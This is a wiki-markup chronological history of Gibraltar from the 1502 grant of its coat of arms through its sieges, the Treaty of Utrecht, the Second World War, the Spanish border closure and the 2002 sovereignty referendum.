*[[1502]] [[July 10]] - By a Royal Warrant passed in Toledo, the Catholic Monarchs granted to Gibraltar its [[Coat of arms of Gibraltar|coat of arms]]: &quot;An escutcheon on which the upper two thirds shall be a white field and on the said field set a red castle, and below the said castle, on the other third of the escutcheon, which must be a red field in which there must be a white line between the castle and the said red field, there shall be a golden key which hangs by a chain from the said castle, as are here figured&quot;. The Castle and Key remain the Arms of Gibraltar to this day.
*1506 - Alleging a false donation by the king [[Philip I of Castile]], the Duke of Medina Sidonia attempted to recover Gibraltar by besieging the town. The siege was unsuccessful and the Duke was admonished by the Regency and forced to pay a fee to the town. The town received the title of &quot;Most Loyal City&quot; (Tenth Siege of Gibraltar).
*[[1540]] [[September 8]] - Corsairs from the [[Barbary Coast]] (ruled by [[Khair ad Din|Barbarossa]]) raided Gibraltar and took away many captives.
*1552 - After the requests from the inhabitants of the town, [[Charles I of Spain]] (the Emperor Charles V) sent the Italian engineer [[Giovanni Battista Calvi]] to strengthen the defences of the town. A wall was built (nowadays known as [[Charles V Wall]]); also a ditch by the wall of the town and a drawbridge at the Landport (''Puerta de Tierra'').
[[Image:Battle of Gibraltar 1607.jpg|thumb|right|280px|The Battle of Gibraltar, by Hendrick Cornelisz Vroom. Oil on canvas. Rijksmuseum, Amsterdam]]
*1606 - The [[Morisco]]s (the descendants of the Muslim inhabitants in Spain) were expelled from Spain by King [[Philip III of Spain|Philip III]]. Many many passed through Gibraltar on their way into exile in North Africa.
*[[1607]] [[April 25]] - During the [[Eighty Years' War]] between the [[Dutch Republic|United Provinces]] and the King of Spain, a Dutch fleet surprised and engaged a Spanish fleet anchored at the [[Bay of Gibraltar]] ([[Battle of Gibraltar]]).
*1649 - Typhoid epidemic in the town.
*1656 - In a letter {{ref|radio4}} to [[Edward Montagu, 1st Earl of Sandwich|Councillor General Montagu]] (afterwards Earl of Sandwich), General-at-sea and one of the Protector's personal friends, [[Oliver Cromwell|Cromwell]] mentioned the necessity of securing a permanent base at the entry of the Mediterranean, preferably Gibraltar (the first suggestion for the occupation of Gibraltar as a naval base had been made at an English Council of War held at sea on [[October 20]] [[1625]]).
*[[1700]] [[November 1]] - King Charles II of Spain died leaving no descendents. In the autumn he had made a will bequeathing the whole of the Spanish possessions to Prince [[Philip V of Spain|Philip of Bourbon]], a grandson of Louis XIV backed by France. The other pretender, an Austrian Hapsburg, [[Charles VI, Holy Roman Emperor|Archduke Charles]], supported by Austria, England, Holland and the Holy Roman Empire, did not accept Charles II's testament. The result was the [[War of the Spanish Succession]].

==The War of the Spanish Succession==
*[[1701]] [[September]] - [[England]], the [[Netherlands]] and [[Austria]] signed the [[Treaty of the Hague, 1701|Treaty of the Hague]]. By this treaty, they accepted Philippe of Anjou as King of Spain, but allotted Austria the Spanish territories in Italy and the [[Spanish Netherlands]]. England and the Netherlands, meanwhile, were to retain their commercial rights in Spain. Later (in 1703), [[Portugal]], [[Savoy]] and some German states joined the alliance.
*[[1702]] May - Full-scale war broke out. It was the formal beginning of the [[War of the Spanish Succession]].
*[[1703]] [[February 12]] - The Archduke Charles was proclaimed king of Castile and Aragon in [[Vienna]]. He took the name of Charles III {{ref|charlesiii}}

==Habsburg Gibraltar (under the rule of the Archduke Charles, pretender to the Spanish Throne)==
===The Gibraltar capture===
(''There is usually a discrepancy on the chronology between Spanish and British sources. The reason is that England still used the [[Julian calendar#From Julian to Gregorian|Julian calendar]]. By 1704, the Julian calendar was eleven days behind the Gregorian. Therefore, the siege began on [[21 July]] according to the Julian calendar'')
[[Image:George Rooke.jpg|thumb|left|200px|George Rooke, the commander of the Anglo-Dutch fleet that conquered Gibraltar on behalf of the Archduke Charles]]
*[[1704]] [[August 1]] - During the [[War of the Spanish Succession]], and when returning from a failed expedition to Barcelona, an Anglo-Dutch fleet, under the command of sir [[George Rooke]], chief commander of the Alliance Navy, began a new siege (the eleventh siege of the town). They demanded its unconditional surrender and an oath of loyalty to the [[Habsburg]] pretender to the Spanish throne, the [[Charles VI, Holy Roman Emperor|Archduke Charles]]. The Governor of Gibraltar, [[Diego de Salinas]], refused the ultimatum. A brigade of [[Dutch Royal Marines|Dutch]] and [[Royal Marines|British Marines]], 1,800 strong, under the command of [[Prince George of Hesse-Darmstadt]], chief commander of the Alliance Army in Spain, began to besiege Gibraltar, in the name of the Archduke Charles. A small group of Spaniards, mainly Catalans, was integrated in the troops of the Prince of Hesse.
*1704 night of 3-[[4 August]] - Heavy shelling targeted the castle and the town.
*[[1704]] [[August 4]] - The Governor Diego de Salinas surrendered the town to Prince George of Hesse, who took it in the name of Archduke, as Charles III, king of Castile and Aragon. This was the end of the Eleventh Siege of Gibraltar (a map on the situation of attacking forces can be seen in {{ref|map}})
: The exact beginning of the English/British occupation of Gibraltar has been over the time imprecise. From the 18th century, Spanish sources reported that immediately after the takeover of the city, Sir [[George Rooke]], the British admiral, on his own initiative caused the British flag to be hoisted, and took possession of the Rock in name of [[Anne I of the United Kingdom|Queen Anne]], whose government ratified the occupation. On the other hand, even the British or the Gibraltarians sometimes date the beginning of British sovereignty in 1704 (for instance, in its speech at the United Nations in 1994, the Gibraltar Chief Minister at the time, [[Joe Bossano]], stated that ''Gibraltar has been a British colony ever since it was taken by Britain in 1704'' {{ref|bossano}}). Also, some British sources have accounted the flag story (''He [Rooke] had the Spanish flag hauled down and the English flag hoisted in its stead'' {{ref|tercentenary}}; ''Rooke's men quickly raised the British flag ... and Rooke claimed the Rock in the name of Queen Anne'' {{ref_label|radio4|1|a}}; or ''Sir George Rooke, the British admiral, on his own responsibility caused the British flag to be hoisted, and took possession in name of Queen Anne, whose government ratified the occupation'' {{ref|britannica}}).
[[Image:Gibraltar harbor antique engraving by Gabriel Bodenehr, c.1704.jpg|thumb|right|310px|Gibraltar antique engraving by Gabriel Bodenehr, c.1704. From his rare &quot;Curioses Staats- und Kriegs-Theatrum&quot;.]]
: However, it is proved by present-day historians, both Spanish and British, that this version is apocryphal since no contemporary source accounts it. Isidro Sepúlveda {{ref|Sepulveda1}}, William Jackson {{ref|Jackson1}} and George Hills {{ref|Hills1}} explicitly refute it (Sepúlveda points out that if such a fact had actually happened, it would have caused a big crisis in the Alliance supporting the Archduke Charles; George Hills explains that the story was first accounted by the Marquis of San Felipe, who wrote his book &quot;Comentarios de la guerra de España e historia de su rey Phelipe V el animoso&quot; in 1725, more than twenty years after the fact; the marquis was not an eye-witness and cannot be considered as a reliable source for the facts that took place in Gibraltar in 1704. As Hills concludes: &quot;''The flag myth ... may perhaps be allowed now to disappear from Anglo-Spanish polemics. On the one side it has been used to support a claim to the Rock 'by right of conquest'; on the other to ... pour on Britain obloquy for perfidy''&quot; {{ref_label|Hills1|9|a}}).
: What does seem nowadays proved is that the British troops who had landed on the South Mole area raised their flag to signal their presence to the ships, and avoid being fired upon by their own side.
*[[1704]] [[August 7]]. A large column of inhabitants of the city (4,000 according to most of the sources, such as Hills {{ref|Hills2}} or Jackson {{ref|Jackson2}}), with Queen Isabella's banner at their head, and led by the Spanish Governor, Diego de Salinas, the Spanish garrison and the members of the city council, abandoned the city. Most of them took refuge in the proximity of the Chapel of [[Saint Roch|San Roque]], possibly hoping for a rapid reconquest of the town, where the Gibraltar council was re-established two years later, founding a new town named [[San Roque (Cádiz)|San Roque]] (therefore San Roque official [[motto]] is &quot;The town of San Roque, where that of Gibraltar lives on&quot;, in [[Spanish language|Spanish]]: 'La Ciudad de San Roque, donde reside la de Gibraltar' {{ref|sanroquemotto}}. The refugees took with them the symbols and objects of Gibraltar's history: the council and ecclesiastical records, including the historical documents signed by the Spanish [[Catholic Monarchs]] in 1502, granting Gibraltar's coat of arms, and the statue of the Holy Crowned [[Virgin Mary]]{{ref_label|Hills2|10|a}}{{ref_label|Jackson2|11|a}}. These objects remain nowadays in San Roque {{ref|sanroquesymbols}}. Others settled down in what today is [[Los Barrios]] or even further away, in the ruins of the abandoned city of [[Algeciras]]. Only about seventy people remained in the town, most of them religious, people without family or belonging to the [[Genoa|Genovese]] trader colony {{ref|Sepulveda2}}{{ref|Hills3}} (see list in {{ref|oldinhabitants}}). The traditions of the villages that received those refugees still talk of this departure as the ''Exodus of Gibraltar'' (''Éxodo de Gibraltar'').
*[[1704]] [[August 24]] - The Alliance fleet, under the command of Rooke, set sail from Gibraltar and intercepted a joint Spanish-French fleet that attempted to recover Gibraltar by the coast of [[Málaga]] ([[battle of Málaga]]). The result was uncertain, with heavy losses on both sides, but anyway the Spanish-French fleet was stopped and prevented from arriving at Gibraltar.

===The first Spanish siege (Twelfth Siege of Gibraltar)===
*[[1704]] [[September 5]] - Troops of [[France]] and [[Spain]] under the [[Francisco Castillo Fajardo, marquis of Villadarias|marquis of Villadarias]], General Captain of Andalusia, started to besiege Gibraltar to try to recover it (this one would be the Twelfth Siege of Gibraltar). In the town, the Marine brigade, still under the command of the British admiral Sir [[John Leake]], and the governor, Prince George of Hesse-Darmstadt (who had commanded the land forces in August), and reinforced shortly before by a further 400 [[Royal Marines]], held the fortress against repeated attacks. 
*[[1704]] [[November 11]] - A notable incident during the siege: 500 French and Spanish volunteer [[grenadier]]s tried to surprise the garrison. Captain Fisher of the Marines with 17 of his men successfully defended the Round Tower against their assault. A contemporary report of this noted defence says, &quot;Encouraged by the Prince of Hesse, the garrison did more than could humanly be expected, and the English Marines gained an immortal glory&quot;.
*1705 January - Philip V replaced Villadarias with by the [[Marshal of France]] [[René de Froulay, Count de Tessé|de Tessé]].
*[[1705]] [[February 7]] - The last assault before the arrival of de Tessé was executed. The Gibraltar wall was damaged, but French troops refused to go on until the arrival of de Tessé (who arrived the day after). The assault becomes unsuccessful.
*[[1705]] [[March 31]] - The Count de Tessé gave up the siege and retired.

===During the rest of the war===
Although nominally in the hands of the Archduke Charles, Britain began to monopolize the rule of the town. Even if the formal transfer of sovereignty would not take place until the signature of the Treaty of Utrecht, the British Governor and garrison become the ''de facto'' rulers of the town.

*[[1705]] [[August 2]] - The Archduke Charles stopped over in Gibraltar in his way to the territories of the [[Crown of Aragon]]. The Prince of Hesse joined him, thus leaving the town (he would die one month later in the siege of [[Barcelona]]). The English Major General [[John Shrimpton]] was left as governor (appointed by the Archduke Charles on the recommendation of [[Anne of Great Britain|Queen Anne]]).
*[[1706]] [[February 17]] - [[Anne I of the United Kingdom|Queen Anne]], though she has no powers to do so, declared Gibraltar a free port (upon request of the Sultan of Morocco, who wanted Gibraltar being given this status in return for supplying the town){{ref|Jackson3}}.
*[[1707]] [[24 December]] - The first British Governor directly appointed by the Queen Anne, [[Roger Elliott]], took up residence in the Convent of the Franciscan Friars.
*1711 - The British government, then in the hands of the [[tory|tories]], covertly ordered the British Gibraltar governor, [[Thomas Stanwix]], to expel any foreign (not British) troops (to foster the Great Britain's sole right to Gibraltar in the negotiations running up between Britain and France). Although he answered positively, he allowed a Dutch regiment to stay. It remained there until March 1713. {{ref_label|Jackson3|17|a}}

==British rule==
===Treaty of Utrecht===
[[Image:Allegory of the Peace of 1714.jpg|right|thumb|Allegory of the Peace of 1714]]
*1713 - The territory was subsequently ceded to [[Kingdom of Great Britain|Great Britain]] in perpetuity by [[Spain]] in the [[Treaty of Utrecht (1713)|Treaties of Utrecht]]. Despite some military attempts by the Spanish to retake it in the 18th century, most notably in the Great Siege of 1779-1783, the Rock has remained under British control ever since.
:In that treaty, Spain ceded Great Britain &quot;''the full and entire propriety of the town and castle of Gibraltar, together with the port, fortifications, and forts thereunto belonging ... for ever, without any exception or impediment whatsoever.''&quot;
:The Treaty stipulated that no overland trade between Gibraltar and Spain was to take place, except for emergency provisions in the case that Gibraltar is unable to be supplied by sea. Another condition of the cession was that &quot;''no leave shall be given under any pretence whatsoever, either to Jews or Moors, to reside or have their dwellings in the said town of Gibraltar.''&quot; This was never enforced and Gibraltar has had for many years an established Jewish community, along with Muslims from North Africa.
:Finally, under the Treaty, should the British crown wish to dispose of Gibraltar, that of Spain should be offered the territory first.

===Until the Peninsular Wars===
*1721 March - Philip V of Spain requested the restitution of Gibraltar to proceed to the renewal of the trade licenses of Great Britain with the Spanish possessions in America.
*1721 [[June 1]] - [[George I of Great Britain|George I]] sent a letter to Philip V promising &quot;''to make use of the first favourable Opportunity to regulate this Article (the Demand touching the Restitution of Gibraltar), with the Consent of my Parliament''&quot; {{ref|lettergeorgei}}. However, the British Parliament never endorsed such promise.
*1727 February-June - Second of the sieges by Spain tried to recapture Gibraltar (Thirteenth Siege of Gibraltar). Depending on the sources, Spanish troops were between 12,000 and 25,000. British defenders were 1,500 at the beginning of the siege, increasing up to about 5,000. After a five-month siege with several unsuccessful and costly attempts, Spanish troops give up and retire.
*1729 - At the end of the Anglo-Spanish War of 1727-1729, the Treaty of Seville confirming all previous treaties (including the Treaty of Utrecht) allowed Great Britain to keep [[Menorca]] and Gibraltar.
*1730 - A Belgian Engineer, the Marquis of Verboom, Chief Engineer of the Spanish Royal Engineer Corps, who has taken part in the 1727 siege, arrived in San Roque commissioned by the Spanish government to design a line of fortifications across the isthmus. Fort San Felipe and Fort Santa Barbara are built. The fortifications, known to the British as the Spanish Lines, and to Spain as ''La Línea de Contravalación'' were the origin of modern-day town of [[La Línea de la Concepción]].
* [[1776]] [[February 23]] - One of the heaviest storms ever recorded in Gibraltar. The lower part of the town was flooded. Linewall was breached along 100 m.
*1779 June - In the midst of the [[American Revolutionary War]], Spain declared war against Great Britain (France had done it the year before)
[[Image:The Siege and Relief of Gibraltar.jpg|thumb|left|350px|The Siege and Relief of Gibraltar, [[13 September]] [[1782]]. By John Singleton Copley (1738-1815)]]
*1779 July - Start of the '''Great Siege of Gibraltar''' (fourteenth and last military siege). This was an action by French and Spanish forces to wrest control of Gibraltar from the established British Garrison. The garrison, led by [[George Augustus Eliott, 1st Baron Heathfield of Gibraltar|George Augustus Eliott, later 1st Baron Heathfield of Gibraltar]], survived all attacks and a blockade of supplies.
*1782 [[September 13]] - Start of an assault involving 100,000 men, 48 ships and 450 cannon. The British garrison survived.
*1783 February. By now the siege was over, and George Augustus Eliott was awarded the [[Knight of the Bath]] and was created 1st Baron Heathfield of Gibraltar. The [[Treaty of Paris (1783)|Treaties of Versailles]] reaffirmed previous treaties.
:In 1782, work on the [[Great Siege Tunnels]] started. The tunnels became a great and complex system of underground fortifications which nowadays criss-crosses the inside of the Rock. Once the Siege was over, the fortifications were rebuilt and, in the following century, the walls were lined with [[Portland limestone]]. Such stone gives the walls their present white appearance.
* 1802 - Several mutinies among some regiments garrisoned in Gibraltar.
* 1803 June - [[Horatio Nelson|Admiral Nelson]] arrived in Gibraltar as Commander-in-Chief Mediterranean.
* 1804 - Great epidemic of &quot;Malignant Fever&quot; broke out. Although traditionally labelled as &quot;Yellow Fever&quot; now it is thought to have been [[typhus]].
* 1805 January - The great epidemic ended. Over a third of the civilian population (5,946 people) died.
* [[1805]] [[October 21]] - [[Battle of Trafalgar]].
* [[1805]] [[October 28]] - [[HMS Victory]] was towed into Gibraltar bringing Nelson's body aboard. The Trafalgar Cemetery still exists today in Gibraltar.
*1806 - Gibraltar was made a Catholic [[Apostolic Vicariate]] (until then Gibraltar belonged to the [[Episcopal see|See]] of [[Cadiz]]). Since 1840 the vicar is always a titular [[bishop]]. {{ref|catholic}}
*1810 - Britain and Spain became allies against Napoleon.
*1810 February - The Governor of Gibraltar removed the Spanish forts of San Felipe and Santa Barbara, located on the northern boundary of the neutral ground. Fearing that the forts might fall into French hands, [[Colin Campbell (Gibraltar Governor)|Lieutenant General Sir Colin Campbell]] instructed Royal Engineers to blow the forts up. Such a task was carried out on [[February 14]] together with the demolition of the rest of fortifications of the Spanish Lines.
: According to George Hills {{ref|Hills4}}, there are no primary sources that could explain whether such a demolition was requested or authorized by any Spanish or British authority. According to him, over the time, three different theories has been handled: (a) Campbell ordered the demolition on his own responsibility (b) under instructions from the British Government (c) upon request of Spanish [[Francisco Javier Castaños|General Castaños]], who was at the time in Cádiz. Spanish authors from 1840 have usually favoured theory (b) while British ones have supported (c). As long as there is no contemporary source or dispatch on the topic, Hills does not personally discard (a) considering it the most likely possibility.
* During the [[Peninsular War]], contingents from the Gibraltar Garrison were sent to aid Spanish resistance to the French at Cádiz and [[Tarifa]].

===Until the Second World War===
[[Image:Tipos de Gibraltar.jpg|right|200px|thumb|Characters of Gibraltar (R.P. Napper, 1863; private collection)]]
*1814 - Outbreak of malignant fever.
*1817 - The first civil judge was established.
*[[1822]] [[August 21]] - The [[Anglican]] Diocese of Gibraltar was founded by Letters Patent and took over the pastoral care of the chaplaincies and congregations from Portugal to the Caspian Sea.
*1830 - Gibraltar became a [[British Crown Colony]].
:[[Royal Gibraltar Police|Gibraltar Police Force]] was established.
*1869 - The [[Suez Canal]] was opened. It heavily increased the strategic value of the Rock in the route from the United Kingdom to India.
*1894 - The construction of the dockyards started. 
*[[1908]] [[August 5]] - The British Ambassador in Madrid informed the Spanish Minister of State 'as an act of courtesy', of the British Government's intention to build a fence along the line of British sentries on the isthmus to prevent smuggling and reduce sentry duty. According to the British government, the fence was erected inside British territory. Spain does not recognize the fence as the valid border, since it claims the fence was build on Spanish soil. Even though Spain, the [[United Kingdom]] and Gibraltar are all part of the [[European Union]], the border fence is still relevant today since Gibraltar is outside the [[customs union]]. The border crossing is open 24-hours a day as required by EU law.
*1921 - Gibraltar was granted a City Council status in recognition for its contribution to the British war efforts in the [[First World War]]. The council had a small minority of elected persons. First elections held in Gibraltar.

===Second World War and after===
The history of Gibraltar from the Second World War is characterized by two main elements: the increasing autonomy and self-governing achieved by Gibraltarians and the re-emergence of the Spanish claim, especially during the years of the [[Francisco Franco|Francoist]] dictatorship.
[[Image:Gibralter2.jpg|thumb|250px|Map of Gibraltar in 1939. Published by Illustrated London News]]
*1939-1945 - During the [[Second World War]] the civilian residents of Gibraltar were evacuated, and the Rock was again turned into a fortress. Control of Gibraltar gave the [[Allied Powers]] control of the entry to the [[Mediterranean Sea]] (the other side of the Strait being Spanish territory, and thus neutral). The Rock was a key part of the Allied supply lines to [[Malta]] and North Africa and base of the British Navy Force H, and the horse [[racecourse]] near the fence was converted into an [[airport]]. The repatriation of the civilians started in 1944 and proceeded for some six years. However most of the population had returned by 1946.
*:[[1940]] [[July 4]] - French bombers, based in French Morocco, carried out a retailatory air raid over Gibraltar as a reprisal for the [[Destruction of the French Fleet at Mers-el-Kebir|destruction of the French fleet at Mers-el-Kebir, Algeria,]] by the Force H (about 1,300 French sailors were killed and about 350 were wounded in the action against the French fleet). No great effect took place.
*:1941 - Germany planned to occupy Gibraltar (and presumably hand it over to Spain) in &quot;Operation Felix&quot; which was due to start on [[10 January]] [[1941]] {{ref|felix}}. It was cancelled because the Spanish government were reluctant to let the [[Wehrmacht]] enter Spain and then attack against the Rock, its civilians or the British Army from Spanish soil, because [[Francisco Franco|Franco]] feared that it may have been impossible to remove the Wehrmacht afterwards. In any case, [[Hitler]] was too busy elsewhere in Europe to give this much priority.
*:1940-1943 - Gibraltar harbour was attacked many times by [[Italian commando frogmen#Earlier history : Decima Flottiglia MAS|Italian commando frogmen]].
*:1942 September - A small group of Gibraltarians, who remained in the town serving in the British Army, joined a mechanic official, [[Albert Risso]], to create 'The Gibraltarians Association', the starting point of what be named the [[Association for the Advancement of Civil Rights]] (officially established in December that year), the first political party in Gibraltar. [[Joshua Hassan]] (a young lawyer then, later Sir and Chief Minister) was among the leading members of such association. The AACR was the dominant party in the Gibraltar politics for the last third of the 20th Century.
*:[[1942]] [[8 November]] - [[Operation Torch]] launched with support from Gibraltar.
*1946 - The United Kingdom inscribed Gibraltar in the list of [[Non-Self-Governing Territories]] kept by the UN Special Committee on Decolonization .
*1950 - Gibraltar's first Legislative Council was opened.
*1954 - This was the 250th anniversary of its capture. [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] visited Gibraltar, which angered [[Francisco Franco|General Franco]], who renewed its [[Disputed status of Gibraltar|claim]] to sovereignty, which had not been actively pursued for over 150 years. This led to the closure of the Spanish [[consulate]] and to the imposition of restrictions on freedom of movement between Gibraltar and Spain. By the 1960s, motor vehicles were being restricted or banned from crossing the border, while only Spanish nationals employed on the Rock being allowed to enter Gibraltar. For about 30 years, the land border was closed (from the Spanish side), to try to isolate the territory.
*1955 - Spain joined [[United Nations]].
:At the United Nations, Spain reactivated its claim, arguing that the principle of [[Territorial integrity|territorial integrity]], not [[Self-determination|self-determination]], applied in the case of the decolonization of Gibraltar, and that the United Kingdom should cede sovereignty of the Rock to Spain (what the Spanish Government named &quot;retrocession&quot;). Madrid gained diplomatic support from countries in [[Latin America]], with the [[UN General Assembly]] passing resolutions (2231 (XXI), &quot;Question of Gibraltar&quot; {{ref|un2231}} and 2353 (XXII), &quot;Question of Gibraltar&quot; {{ref|un2353}}) urging United Kingdom and Spain to overcome their differences, respecting the &quot;interests&quot; of the people of Gibraltar. The latter resolution, which explicitly accepts the Spanish position on the territorial integrity, was supported by 73 countries (mainly Latin American, Arab, African and Easter European countries), rejected by 19 (United Kingdom and the countries of the [[Commonwealth of Nations|British Commonwealth]]), while 27 countries abstained (Western Europe and the United States). For its part, United Kingdom stated that it would respect the &quot;wishes&quot; of the people of Gibraltar, and that there would be no change of sovereignty against their democratically expressed wishes. Resolution 2353 keeps on being the official position of the United Nations on the &quot;question of Gibraltar&quot;, since no new resolution has been issued on the question since then.
:A group of six Gibraltarian lawyers and businessmen, calling themselves ''palomos'' or 'doves', advocated a political settlement with Spain {{ref|incipe}} in a letter published in the ''Gibraltar Chronicle'', and met with Spanish Foreign Office officials (a meeting was even held with the very Spanish Foreign Office Minister) to try and bring this about {{ref|Jackson4}}. This provoked widespread public hostility in Gibraltar (with attacks to their homes and properties {{ref|doves}} and civil unrest). Even now, the 'doves' have not been &quot;forgiven&quot; and are still called traitors.
*1965 April - The British Government published a White Paper dealing with the question of Gibraltar and the Treaty of Utrecht.
*1966 - In response, the Spanish Foreign Office Minister [[Fernando Castiella]], published and presented to the Spanish Courts the &quot;Spanish Red Book&quot; (named so because of its cover; its reference is &quot;Negociaciones sobre Gibraltar. Documentos presentados a las Cortes Españolas por el Ministro de Asuntos Exteriores&quot;, Madrid, 1967)
*1967 - A [[referendum]] was held on [[10 September]], in which Gibraltar's voters were asked whether they wished to either pass under Spanish sovereignty, or remain under British sovereignty, with institutions of self-government.
: The Spanish claim had little chance of being accepted by Gibraltarians, even having promised that Gibraltarians could keep their British citizenship and the town would retain a special status within Spain. At that time, such a claim was being made by an extreme right-wing dictatorship which had arisen from a bloody civil war (neutral but aligned with the [[Axis Powers]] in the Second World War) which did not allow its own citizens the civil liberties that the British government guaranteed to the Gibraltarians. Furthermore, the Spanish economy, though beginning to grow, was still very backward (especially compared to the living standard the Gibraltarians had achieved), while at the same time working class people across the frontier were living in a state of great poverty. The idea of Spain participating in any way the sovereignty of the Rock was (and remains) unacceptable to Gibraltarian public opinion.
: Not surprisingly, Gibraltarians ignored Spanish pressure and voted overwhelmingly by 12,138 to 44 to remain under British sovereignty. Although the Spanish government got a diplomatic triumph in the United Nations (since the resolution 2353 states that ''the holding of the referendum [...] to be a contravention of the provisions of General Assembly resolution 2231 (XXI)''), it had no effect in the political evolution of Gibraltar.
: Another result of the Spanish campaign was the emergence of a movement for the integration of Gibraltar with the United Kingdom. In February, the [[Integration with Britain Party]], hitherto a “pressure group”, formed itself into a political party under the leadership of [[Bob Peliza]].
*1969 [[May 30]] - A new constitution for Gibraltar was introduced by the United Kingdom Parliament, under the initiative of the British Government (Gibraltar Constitutional Order, of [[30 May]] [[1969]]). Under it, Gibraltar attained full internal self-government, with an elected House of Assembly. The preamble to the Constitution stated that:
:''&quot;Her Majesty's Government will never enter into arrangements under which the people of Gibraltar would pass under the sovereignty of another state against their freely and democratically expressed wishes.&quot;''
*[[1969]] [[June 8]] - In response, Spain closed the border with Gibraltar, and severed all communication links. The closure affected both sides of the border. Gibraltarians with families in Spain had to go by ferry to [[Tangier]], [[Morocco]], and from there to the Spanish port of [[Algeciras]], while many Spanish workers (by then about 4,800; sixteen years before, about 12,500 Spanish workmen entered Gibraltar every day {{ref|spaniards}}{{ref|Jackson5}}) lost their jobs in Gibraltar.
: The closing of the border was a severe shock for the Gibraltarians, who became aware that across the frontier there was a hostile and threatening foreign power. The closure of the fence would last thirteen years and was considered the Gibraltarians as the last in a series of sieges held by Spain to attempt to secure the surrender of the town.
*1969 - Major [[Robert Peliza|Robert (later Sir Robert) Peliza]] of the [[Integration with Britain Party]] (IWBP) was elected Chief Minister.
*1972 - Joshua Hassan of the [[Association for the Advancement of Civil Rights]] (AACR) was returned to power. 
*1973 - Gibraltar joined the [[European Economic Community]] alongside the United Kingdom.
*1975 - The British [[Foreign Office]] Minister [[Roy Hattersley]] ruled out integration with the UK, and stated that any constitutional change would have to involve a 'Spanish dimension'. This position was reaffirmed the following year when the British government rejected the House of Assembly's proposals for constitutional reform. The IWBP broke up and was succeeded by the Democratic Party of British Gibraltar (DPBG), led first by Maurice Xiberras, formerly of the IWBP, and subsequently by Peter Isola.
*1975 - Spanish dictator General [[Francisco Franco]] died, but this situation with regard to Gibraltar remained unchanged, with the border not partially reopened until 1982 (fully in 1985).
*[[1980]] [[July]] - The new Anglican [[Diocese of Europe]] was formed, with the former Diocese of Gibraltar and the Jurisdiction of North and Central Europe. The new diocese became the 44th Diocese of the Church of England. Gibraltar's Holy Trinity Church was consecrated as diocese Cathedral.
*1981 - The [[British Nationality Act 1981]] effectively made Gibraltar a ''Dependent Territory'' and removed the right of entry into the UK of British Dependent Territory Citizens.  After a short campaign Gibraltarians were offered full British citizenship. The act was ratified in 1983.
*[[1982]] [[December 15]] - The re-opening of the border was delayed in the wake of the war between United Kingdom and [[Argentina]] over the [[Falkland Islands]]. The re-opening was only partial, as only pedestrians, resident in Gibraltar or Spanish nationals were allowed to cross the border by Spain. Only one visit a day was allowed.  
*1984 - Spain sought to join the [[European Communities]] (it did it in 1986). Under the Brussels Agreement {{ref|brussels}} ([[27 November]] [[1984]]) signed between the governments of the United Kingdom and Spain, the former agreed to enter into discussions with Spain over Gibraltar, including sovereignty. The border was fully reopened.
*[[1987]] [[December 2]] - A proposal for joint control of Gibraltar's airport with Spain {{ref|airport}} led to widespread opposition locally. Chief Minister Sir Joshua Hassan resigned at the end of that year, to be succeeded by [[Adolfo Canepa]]. 
*1988 - [[Gibraltar Socialist Labour Party]] (GSLP) leader [[Joe Bossano]] was elected as Chief Minister, and firmly ruled out any discussions with Spain over sovereignty.
*1988 - The [[Special Air Service]] of the [[British Army]] shot dead three unarmed members of the [[Provisional Irish Republican Army|IRA]] walking towards the frontier, claiming they were making &quot;suspicious movements&quot;. A subsequent search led to the discovery of a car containing a large amount of [[Semtex]] explosive in Spain, which they had planned to use to bomb the 'Changing of the Guard' ceremony a few days later.
*1996 - In an election, [[Joe Bossano]] was replaced by [[Peter Caruana]] of the [[Gibraltar Social-Democrats]] (GSD), who while favouring dialogue with Spain, also ruled out any deals on sovereignty.
*1991 - The [[British Army]] effectively withdrew from Gibraltar, leaving only the locally recruited [[Royal Gibraltar Regiment]], although the [[Royal Air Force]] and [[Royal Navy]] remain.  
*Spain made various proposals involving the sovereignty of Gibraltar, which have been rejected by all parties in the Gibraltar House of Assembly.
*1991 - The Spanish [[PSOE|Socialist]] government of [[Felipe González]] proposed joint sovereignty over Gibraltar with the [[United Kingdom]]. A similar proposal was advocated by [[Peter Cumming]], formerly of the GSD, in which the Rock would become a self-governing [[condominium (international law)|condominium]] or 'Royal City', with the British and Spanish monarchs as joint heads of state.
*1997 - The [[Partido Popular]] Spanish Foreign Minister, [[Abel Matutes]] made proposals under which Gibraltar would be under joint sovereignty for fifty years, before being fully incorporated into Spain, as an autonomous region, similar to [[Catalonia]] or the [[Basque Country (autonomous community)|Basque Country]], but these were rejected by British Government. 
*2000 - An agreement was reached between the UK and Spain over recognition of 'competent authorities' in Gibraltar. Spain had a policy of non-recognition of the Government of Gibraltar as a 'competent authority', therefore refusing to recognise Gibraltar's courts, police and government departments, [[driving licence]]s, and [[identity card]]s. Under the agreement, the [[Foreign and Commonwealth Office]] in London would act as a 'post box', through which Gibraltar's [[police]] and other government departments could communicate with their counterparts in Spain. In addition, identity documents issued by the Government of Gibraltar now featured the words 'United Kingdom'.  
*2000 May - 2001 May - The [[nuclear submarine]] [[HMS Tireless (S88)]] was repaired in Gibraltar. This caused diplomatic tension with Spain, which expressed its concern about the effective safety for the inhabitants of Gibraltar and those living in its hinterland -some 250,000 people {{ref|pique}}. The inhabitants of the area saw this repair as a precedent of future nuclear repair operations in Gibraltar. The Gibraltar government has accused Spain of using this incident as an excuse to go on creating a dispute over Gibraltar, since there are more severe environmental problems in the Bay {{ref|benach}} and American nuclear vessels are possibly repaired in Rota without any complaint {{ref|rota}}. Spain now frequently complains whenever a nuclear submarine docks in Gibraltar. However, Spanish organizations, such as left-wing [[United Left (Spain)|Izquierda Unida]], have also accused the Spanish government of not handling nuclear submarines docking in Gibraltar and Rota in the same way {{ref|iu}}.

===21st Century===
*2001 - The UK Government announced plans to reach a final agreement with Spain over the future of Gibraltar, which would involve shared sovereignty; however agreement was not reached due to the opposition of the Gibraltarians.
*2002 - The Gibraltar government organised a referendum on [[7 November]]. The voters rejected shared sovereignty by 17,900 votes to 187 on a turnout of 87.9%. The wording of the question of the 2002 referendum was:
: ''On the [[12 July]] [[2002]] the Foreign Secretary, Jack Straw, in a  formal statement in the House of Commons, said that after twelve months of negotiation the British Government and Spain are in broad agreement on many of the principles that should underpin a lasting settlement of Spain's sovereignty claim, which included the principle that United Kingdom and Spain should share sovereignty over Gibraltar.''
:''Do you approve of the principle that Britain and Spain should share sovereignty over Gibraltar?''
:The Gibraltarians did not approve.  The Referendum was supervised by a team of international observers headed by the Labour MP [[Gerald Kaufman]], who certified that it had been held fairly, freely and democratically {{ref|observers}}.
